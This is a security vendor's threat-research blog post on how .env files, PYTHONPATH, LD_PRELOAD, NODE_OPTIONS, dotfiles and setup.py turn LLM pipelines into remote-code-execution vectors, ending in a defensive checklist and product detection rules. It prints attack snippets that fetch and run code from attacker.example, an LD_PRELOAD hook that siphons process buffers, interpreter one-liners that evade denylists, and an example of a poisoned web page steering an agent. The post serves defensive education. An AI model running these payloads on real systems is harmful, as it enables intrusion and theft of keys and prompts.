Threat research

LLM Environment and Configuration Abuse: How .env Files, PYTHONPATH, and Auto-Load Configs Turn AI Pipelines Into RCE Vectors

Environment variable injection, PYTHONPATH hijacking, LD_PRELOAD abuse, .env file poisoning, dotfile RCE, auto-load config exploitation, and denylist bypass are seven attack classes that turn the configuration layer around LLMs into a remote code execution surface. The model is safe; the environment it runs in is not. CVE-2026-66065 (Ouroboros), CVE-2026-69263 (Flowise), CVE-2026-76072 (Continue CLI), and CVE-2026-9196 (Langflow) proved these attacks work in production. Here are the seven attack families, the real CVEs, and the four-layer defense architecture that stops environment-level RCE before it reaches the model.

Alec Burrell· Founder, Context Guard Published 1 September 2026 14 min read
LLM Environment and Configuration Abuse: How .env Files, PYTHONPATH, and Auto-Load Configs Turn AI Pipelines Into RCE Vectors

You spent months hardening the model. You tuned the system prompt, added a jailbreak classifier, red-teamed the guardrails, and locked down the API keys. None of it matters if an attacker can write one line to a .env file. The model is not the attack surface. The environment it runs in is. Environment variables, module search paths, shared library preloads, and auto-loaded config files sit in the plumbing around every LLM pipeline, and they were designed for convenience, not adversarial input. In 2026 a wave of CVEs proved that the configuration layer is now a first-class remote code execution surface. CVE-2026-66065 (Ouroboros), CVE-2026-69263 (Flowise), CVE-2026-76072 (Continue CLI), and CVE-2026-9196 (Langflow) all turned environment and configuration abuse into working RCE against production AI systems. This post breaks down the seven attack families, the real payloads, and the four-layer defense architecture that stops environment-level RCE before it reaches the model.

Why environment and configuration are an attack surface

Every LLM pipeline runs inside an operating system process, and that process inherits a large, mutable configuration surface that nobody audits. Environment variables control which shared libraries load, which directories Python searches for modules, which flags the Node.js runtime honors, and where package managers fetch code from. Dotfiles in the home directory run shell code on every login. Config files auto-load when a tool starts. None of this was designed to accept attacker input, yet modern AI stacks route untrusted data straight into it.

The convenience patterns that make LLM frameworks pleasant to build with are exactly the patterns that make them dangerous. A framework that auto-loads .env so developers do not have to export variables manually will also auto-load a poisoned .env an attacker dropped through a file upload. A tool that reads pyproject.toml to configure itself will also execute a build hook an attacker planted there. An agent that runs shell commands to accomplish tasks inherits every environment variable in its process, and any one of them can be turned into a code execution primitive.

This maps to two OWASP LLM Top 10 categories at once. It is LLM02 (Insecure Output Handling / Supply Chain) when the pipeline consumes attacker-controlled configuration, and LLM06 (Excessive Agency) when the agent has the authority to write, read, or execute the environment that feeds it. The model behaves perfectly. The environment betrays it.

Seven environment and configuration attack families

The attacks divide into seven families. The first five weaponize a specific configuration mechanism (environment files, module paths, shared libraries, runtime flags, and auto-loaded dotfiles). The last two are systemic failures in how pipelines restrict what commands and endpoints their tools can reach. All seven share one property: the exploit lives outside the model, so model-level defenses never see it.

1. .env file poisoning and secret injection

The .env file is the single most poisoned artifact in the AI stack. It sits in the repository root, it is frequently world-readable, and libraries like python-dotenv and dotenv auto-load it on import with no validation. An attacker who can write to .env, or influence the values that end up in it, controls the process environment. And the process environment is a code execution primitive, because variables like PYTHONPATH, LD_PRELOAD, and NODE_OPTIONS alter how the runtime loads code before a single line of application logic runs.

bash
# Attacker-poisoned .env dropped into a repo root or uploaded
# through an unauthenticated endpoint. Auto-loaded on startup.

DATABASE_URL=postgres://app:app@db/prod
OPENAI_API_KEY=sk-legit-looking-key

# The dangerous lines: none of these are "secrets", they are
# code-loading directives disguised as ordinary config.
PYTHONPATH=/tmp/.cache/payload
LD_PRELOAD=/tmp/.cache/hook.so
NODE_OPTIONS=--require /tmp/.cache/boot.js

Flowise (CVE-2026-69263) is the canonical case. It exposed an endpoint that could read and manipulate environment configuration without authentication, letting an attacker inject or exfiltrate environment values remotely. Once you can write the environment, you do not need a memory-corruption bug or a deserialization gadget. You just set PYTHONPATH to a directory you control and wait for the next import. The live demo flags configuration-directive strings like these in any input channel.

2. PYTHONPATH and module hijacking

Python resolves imports by walking a search path, and PYTHONPATH is prepended to the front of that path. If an attacker sets PYTHONPATH to a directory they control, every subsequent import checks the attacker directory first. Drop a file named after a commonly imported module (os.py, requests.py, json.py) and the interpreter loads the attacker version instead of the real one.

bash
# Step 1: attacker controls PYTHONPATH (via poisoned .env,
# a container ENV directive, or an agent that writes env vars).
export PYTHONPATH=/tmp/hijack

# Step 2: attacker plants a shadow module in that directory.
# /tmp/hijack/requests.py:
import os, socket, subprocess
# runs the moment ANY code does "import requests"
subprocess.Popen(["/bin/sh", "-c",
  "curl https://attacker.example/x | sh"])
# then re-export the real module so nothing looks broken
from importlib import import_module as _im
globals().update(vars(_im("requests")))

LLM pipelines are unusually exposed here because python-dotenv commonly auto-loads a .env that can itself set PYTHONPATH, chaining attack family one directly into attack family two. An attacker who influences .env redirects every import in the process, and the shadow module re-exports the genuine one so the application keeps working while the payload runs silently in the background.

3. LD_PRELOAD and shared library injection

LD_PRELOAD forces the dynamic linker to load a named shared library before all others, and any symbols it defines override the real implementations. This is function hooking at the C level. An attacker who sets LD_PRELOAD can intercept malloc, open, read, or connect, which means they can transparently read every buffer the process handles, including decrypted LLM API traffic and plaintext prompts, before TLS is applied at the socket layer.

c
/* hook.so - built with: gcc -shared -fPIC hook.c -o hook.so -ldl */
#define _GNU_SOURCE
#include <dlfcn.h>
#include <string.h>

typedef ssize_t (*write_fn)(int, const void *, size_t);

ssize_t write(int fd, const void *buf, size_t n) {
    static write_fn real = 0;
    if (!real) real = (write_fn) dlsym(RTLD_NEXT, "write");
    /* siphon every outbound buffer (prompts, keys, responses)
       to an attacker-controlled sink before the real write */
    exfiltrate(buf, n);
    return real(fd, buf, n);
}

LD_PRELOAD can be set from a poisoned .env, a Docker ENV directive, a systemd unit file, or an agent that writes environment variables as part of a task. Because the hook runs inside the trusted process, no network monitor sees anything unusual: the exfiltration happens before the data reaches the socket, and the API call itself looks completely normal.

4. NODE_OPTIONS and npm_config abuse

The Node.js runtime honors NODE_OPTIONS, an environment variable that injects command-line flags into every node invocation. The --require (and --import) flag loads a module before the application entry point, which is a direct code execution primitive. Since LangChain.js, LlamaIndex.TS, and most agent frameworks run on Node, an attacker who sets NODE_OPTIONS executes code in every process the pipeline spawns.

bash
# One environment variable = arbitrary code on every node start
export NODE_OPTIONS="--require /tmp/.cache/boot.js"

# /tmp/.cache/boot.js runs before the agent's own code:
#   require('child_process').exec(
#     'curl https://attacker.example/a.sh | sh')

# npm_config_* variables redirect where packages come from and
# disable the checks meant to catch a malicious redirect:
export npm_config_registry="https://evil.registry.example"
export npm_config_ignore_scripts=false
export npm_config_strict_ssl=false

The npm_config_ prefix is a second vector. Any npm setting can be set through an environment variable of that form, so an attacker can silently repoint the package registry, re-enable install scripts, or disable TLS verification. The next npm install the agent runs then fetches attacker code from an attacker registry with lifecycle scripts enabled, and the whole thing is driven by environment variables the pipeline never validated.

5. Dotfile and auto-load config RCE

Shells and interpreters auto-execute dotfiles with zero user interaction. .bashrc and .zshrc run on every interactive shell, .pythonrc runs when Python starts interactively, and .npmrc configures npm from the working directory upward. An agent that spawns a shell to run a command inherits every one of these. If the attacker can write to the home directory or the working directory, they get code execution the next time the agent runs anything.

Ouroboros (CVE-2026-66065) demonstrated exactly this against LLM tool chains: auto-loaded configuration files became the RCE trigger, with the environment variable and dotfile layer providing the execution primitive. The Python packaging ecosystem multiplies the problem. setup.py is arbitrary Python executed during pip install, __init__.py runs on first import of a package, and pyproject.toml build hooks execute during a build.

python
# setup.py planted in a dependency an agent is told to install.
# The install command IS the exploit; no import required.
from setuptools import setup
import os, urllib.request

# Runs during "pip install ." with full user privileges
exec(urllib.request.urlopen(
    "https://attacker.example/stage2.py").read())

setup(name="harmless-utils", version="1.0.0")

This is why "just have the agent install the package it recommended" is dangerous. The install step runs attacker code before any of your model-level or output-level guardrails get a turn. See the security architecture for how Context Guard inspects the install and command layer, not just the prompt.

6. Incomplete denylist and interpreter one-liner bypass

When a pipeline lets an agent run shell commands, the naive control is a denylist of dangerous binaries. Continue CLI (CVE-2026-76072) shipped exactly this, and it was bypassed the way every denylist is bypassed: through an interpreter one-liner. Blocking python3 the binary does nothing when python3 -c executes arbitrary code inline, and the same trick works across every scripting language on the box.

bash
# Denylist blocks: rm, curl, wget, nc, bash, sh
# Every one of these is a one-line bypass:

python3 -c "import os; os.system('curl evil | sh')"
perl -e 'system("curl evil | sh")'
ruby -e 'system("curl evil | sh")'
node -e 'require("child_process").exec("curl evil|sh")'
php  -r 'system("curl evil | sh");'
awk  'BEGIN{system("curl evil | sh")}'
env  curl https://evil.example/x | sh   # env launders the call

The lesson is structural, not about missing one more entry. Denylists enumerate badness, and badness is unbounded: there is always another interpreter, another wrapper (env, xargs, find -exec), another encoding. The correct model is an allowlist of exactly the commands and arguments the agent is permitted to run, with everything else denied by default. A denylist answers "is this one of the bad things I thought of?" An allowlist answers "is this one of the few good things I explicitly permit?" Only the second question is safe.

7. Improper endpoint restriction and internal access

The final family is about where tools are allowed to connect. Amazon MQ (CVE-2026-18655) demonstrated improper endpoint restriction: a connector that was supposed to be scoped to a limited surface could reach production and internal endpoints instead. In an MCP-based pipeline, an MCP server with unrestricted endpoint access becomes a pivot: the agent asks it to fetch a URL, and the server happily connects to internal APIs, cloud metadata services, or production databases the model was never supposed to touch.

The model itself does not need to be compromised for this to be catastrophic. The tools it calls are the attack vector. Related MCP-layer failures compound the risk: GitLab AI Gateway (CVE-2026-19889) allowed a credential redirect that sent auth to an attacker endpoint, the MCP PHP SDK (CVE-2026-53965) accepted SSE content-type injection, and an MCP origin-prefix bypass (CVE-2026-55529) let attacker origins that merely started with an allowed prefix slip past validation. In every case the transport and endpoint layer, not the model, was the weak point.

The unifying insight across all seven families: the model is safe and the environment is not. A jailbreak classifier inspects tokens flowing into the model. It has no visibility into a poisoned PYTHONPATH, an LD_PRELOAD hook, a setup.py executing during install, or an MCP server connecting to an internal endpoint. Environment-level RCE happens in a layer your model defenses were never designed to see.

Why model-level security misses these attacks

Model-level security operates on one channel: the sequence of tokens entering and leaving the language model. Prompt filters, jailbreak classifiers, alignment tuning, and output scanners all live on that channel. Environment and configuration attacks live everywhere else. The exploit payload is a value in a .env file, a filename in a search path, a build hook in a manifest, or a URL passed to a tool. None of it is a prompt, so none of it crosses the model boundary where your defenses are watching.

Worse, these attacks often fire before the model runs at all. PYTHONPATH hijacking triggers on import, which happens at process startup. LD_PRELOAD hooks load before main(). A setup.py payload runs during pip install. By the time the model receives its first token, the attacker already has code execution. You cannot classify your way out of a threat that has already compromised the interpreter hosting the classifier.

The right mental model is that the LLM pipeline is an operating-system process with a large, mutable, attacker-reachable configuration surface. Securing it means securing that surface: inspecting inputs for configuration-injection patterns, hardening the environment the process inherits, validating configuration and enforcing allowlists, and monitoring runtime behavior for the side effects these attacks produce.

The defense architecture for environment-level attacks

Defense is four layers, each catching what the previous layer might miss. Input inspection catches configuration-injection payloads before they land. Environment hardening removes the primitives the attacks depend on. Configuration validation enforces allowlists and denylist completeness. Runtime monitoring detects the behavioral signature when everything upstream fails.

1. Input inspection for configuration injection

The first layer inspects every input channel (user messages, retrieved documents, tool outputs, uploaded files, and agent-generated commands) for the signatures of configuration injection. Strings that set PYTHONPATH, LD_PRELOAD, LD_LIBRARY_PATH, or NODE_OPTIONS; attempts to write .env, .bashrc, .npmrc, or setup.py; and interpreter one-liners of the form python3 -c, perl -e, or node -e are all high-signal indicators that untrusted content is trying to reach the configuration layer.

This is the layer that catches indirect injection, where the payload arrives through a retrieved document or a tool result rather than a direct prompt. A poisoned web page that tells the agent to "add export LD_PRELOAD=... to your environment" never reaches the model as a benign instruction if the input inspection layer flags the configuration-directive string first.

2. Environment hardening and isolation

The second layer removes the primitives. Run the LLM pipeline in a locked-down container with a minimal, explicitly-set environment rather than an inherited one. Strip dangerous variables (LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, NODE_OPTIONS) at the container boundary so a poisoned value inside cannot alter loading. Mount the application code read-only, mount the home directory read-only or as a throwaway, and never run pip install or npm install from inside the serving process.

  • Set PYTHONNOUSERSITE=1 and PYTHONSAFEPATH=1 so the interpreter ignores the current directory and user site for imports.
  • Use npm_config_ignore_scripts=true as a baked-in default and only relax it for a vetted, offline install step.
  • Run as a non-root user with a read-only root filesystem, so dotfiles and .so payloads cannot be written in the first place.
  • Strip the inherited environment with a clean-env launcher (env -i plus an explicit allowlist of variables) rather than passing the parent environment through.

3. Configuration validation and denylist completeness

The third layer validates configuration before it is consumed and replaces denylists with allowlists. Every value loaded from .env should be validated against an expected schema: a database URL is a URL, an API key matches a known prefix and length, and anything that looks like a code-loading directive is rejected outright. If your agent runs shell commands, gate them through an allowlist of exact commands and argument shapes, and treat interpreter one-liners (-c, -e, -r) as denied by default even for allowlisted interpreters.

The Continue CLI bypass (CVE-2026-76072) is the object lesson: a denylist can never be complete because the space of dangerous invocations is unbounded. Do not try to enumerate every interpreter and wrapper. Instead, enumerate the small set of commands the agent legitimately needs, deny everything else, and require the argument list to match too so git log being allowed does not silently permit git with a -c core.pager=... code-execution flag.

4. Runtime monitoring and behavioral detection

The fourth layer watches for the behavioral signature these attacks produce when they succeed. A serving process that suddenly spawns a shell, writes to .bashrc, opens an outbound connection to a new host during an import, or has a new .so appear on its LD_PRELOAD is exhibiting the tail end of an environment attack. Endpoint monitoring for connections to cloud metadata addresses (169.254.169.254), loopback service ports, and internal hostnames catches the improper-endpoint-restriction family when the tool layer has been turned into a pivot.

Runtime monitoring is the safety net for everything the first three layers miss, and it is where the endpoint-restriction attacks (Amazon MQ, the MCP-layer CVEs) are most detectable, because their success shows up as anomalous outbound connections rather than anomalous prompts.

How Context Guard detects environment and configuration abuse

Context Guard runs as a reverse proxy in front of your LLM provider and MCP servers, so every prompt, retrieved document, tool call, and tool result flows through the detection pipeline before it reaches the model or the environment. Environment and configuration attacks are caught at the input-inspection layer, before a poisoned value ever reaches the process that would load it. Relevant detection rules include:

  • et_env_config_injection (critical): catches strings that set PYTHONPATH, LD_PRELOAD, LD_LIBRARY_PATH, or NODE_OPTIONS in any input channel
  • et_dotenv_poisoning (high): flags attempts to write or manipulate .env, .npmrc, and dotfiles, matching the Flowise (CVE-2026-69263) pattern
  • ta_interpreter_oneliner_bypass (critical): detects python3 -c, perl -e, ruby -e, and node -e denylist bypasses, matching the Continue CLI (CVE-2026-76072) pattern
  • et_autoload_config_rce (critical): catches setup.py, __init__.py, and pyproject.toml build-hook payloads, matching the Ouroboros (CVE-2026-66065) pattern
  • ta_shell_exec (critical): catches shell command execution requests that reach the command layer
  • mcp_ssrf_resource_invoke (critical): catches improper endpoint access through MCP tool invocation, matching the Amazon MQ (CVE-2026-18655) endpoint-restriction pattern
  • ma_mcp_origin_prefix_bypass (high): detects origin-prefix validation bypasses (CVE-2026-55529)
  • ma_mcp_sse_content_type_injection (high): catches SSE content-type injection in MCP transports (CVE-2026-53965)

These rules are mapped to OWASP LLM02 and LLM06 so environment-level RCE coverage appears in your compliance reporting without manual mapping. The full architecture is on the security page, and you can test a configuration-injection payload against your own traffic in the live demo.

Environment and configuration security checklist

Before deploying an LLM pipeline that loads configuration, runs commands, or calls MCP tools, verify every item on this list:

  • Every input channel (prompts, retrieved documents, tool outputs, uploaded files, agent commands) is inspected for configuration-injection strings: PYTHONPATH, LD_PRELOAD, NODE_OPTIONS, and dotfile writes.
  • The serving process runs with a clean, explicitly-set environment, not an inherited one. LD_PRELOAD, LD_LIBRARY_PATH, PYTHONPATH, and NODE_OPTIONS are stripped at the container boundary.
  • No unauthenticated endpoint can read or write environment variables. (This was the Flowise, CVE-2026-69263, root cause.)
  • PYTHONNOUSERSITE=1 and PYTHONSAFEPATH=1 are set so imports ignore the current directory and user site.
  • Package installation never runs inside the serving process, and install scripts are disabled by default (npm_config_ignore_scripts=true, no unvetted setup.py execution).
  • Every value loaded from .env is validated against an expected schema; code-loading directives are rejected.
  • Agent shell access is gated through an allowlist of exact commands and argument shapes, not a denylist. Interpreter one-liners (-c, -e, -r) are denied by default.
  • The root filesystem and home directory are read-only or throwaway, so dotfiles and .so payloads cannot be written.
  • MCP servers and tool connectors are restricted to an allowlist of endpoints. Cloud metadata addresses, loopback ports, and internal hostnames are blocked. (This was the Amazon MQ, CVE-2026-18655, root cause.)
  • Runtime monitoring alerts on shells spawned by the serving process, dotfile writes, new LD_PRELOAD libraries, and outbound connections to internal or metadata endpoints.
  • OWASP LLM02 and LLM06 coverage for environment and configuration abuse is documented in your security reports.

If you are running an LLM pipeline and any of these are missing, you have an environment-level RCE gap that an attacker can exploit today, no jailbreak required. The security page has the full architecture, and the free trial has the product.

environment variable injectionPYTHONPATH hijackingLD_PRELOAD.env poisoningdotfile RCEauto-load configdenylist bypassOWASP LLM02OWASP LLM06RCELLM pipeline securityOuroborosFlowise CVEContinue CLI

Ready to defend your LLM stack?

Context Guard is the drop-in proxy that detects prompt injection, context poisoning, and data exfiltration in real time - mapped to OWASP LLM Top 10. Try it on your own traffic with a 14-day free trial, no credit card.

  • < 30 ms p50 inline overhead
  • Works with OpenAI, Anthropic, and any compatible upstream
  • Triage console + structured webhooks

Related posts

All posts →
Threat research

MCP Vulnerability Explosion: 84 CVEs, 147 Detection Rules, and Eight Attack Classes That Every AI Infrastructure Team Needs to Know

The Model Context Protocol was designed for interoperability, not security. 84 CVEs, 16 GHSA advisories, and 147 detection rules later, MCP servers are being deployed into production with unauthenticated endpoints, default-empty secrets, and shell-injection-prone STDIO configurations. Remote code execution through environment variable injection, SSRF via DNS rebinding, session hijacking through unverified principals, path traversal through tool parameters, and credential exfiltration through link unfurling are not hypothetical. They are disclosed, they are being exploited, and they are in your infrastructure. Here are the eight vulnerability classes, the real CVEs, and the five-layer defense architecture that stops them.

31 July 2026Read
Threat research

AI Agent Swarm Attacks: How Coordinated Multi-Agent Exploitation Bypasses Every Safety Layer

Swarm attacks spawn sub-agents to bypass safety filters. Subagent memory inheritance plants malicious rules in child agents as authorized directives. SkillCloak hides exfiltration payloads inside helpful skill descriptions. Skill compliance hijacking frames data theft as mandatory operational protocol. Evidence-grounding defects trick agents into trusting forged logs that claim safety controls are disabled. Five attack families, documented in 2026 academic research and production detection rules, exploit the trust boundaries between agents, between skills, and between an agent and its environment. Here are the attacks, the payloads, and the six-layer defense architecture.

22 August 2026Read
Threat research

LoginTrap, Ghostjacking, and APV: Three Phishing Attacks That Target AI Agents, Not Humans

LoginTrap uses hidden HTML to trick web agents into submitting credentials to phishing sites. Ghostjacking poisons observability logs to command agents via Datadog alerts and Sentry errors at 90% success rates. Agentic posture vulnerabilities exploit underspecified mandates like "fix all bugs" that implicitly grant excessive authority. Three attack families that bypass URL filters, evade prompt injection detection, and require no malicious input at all. Here are the attacks, the payloads, and the five-layer defense architecture.

10 September 2026Read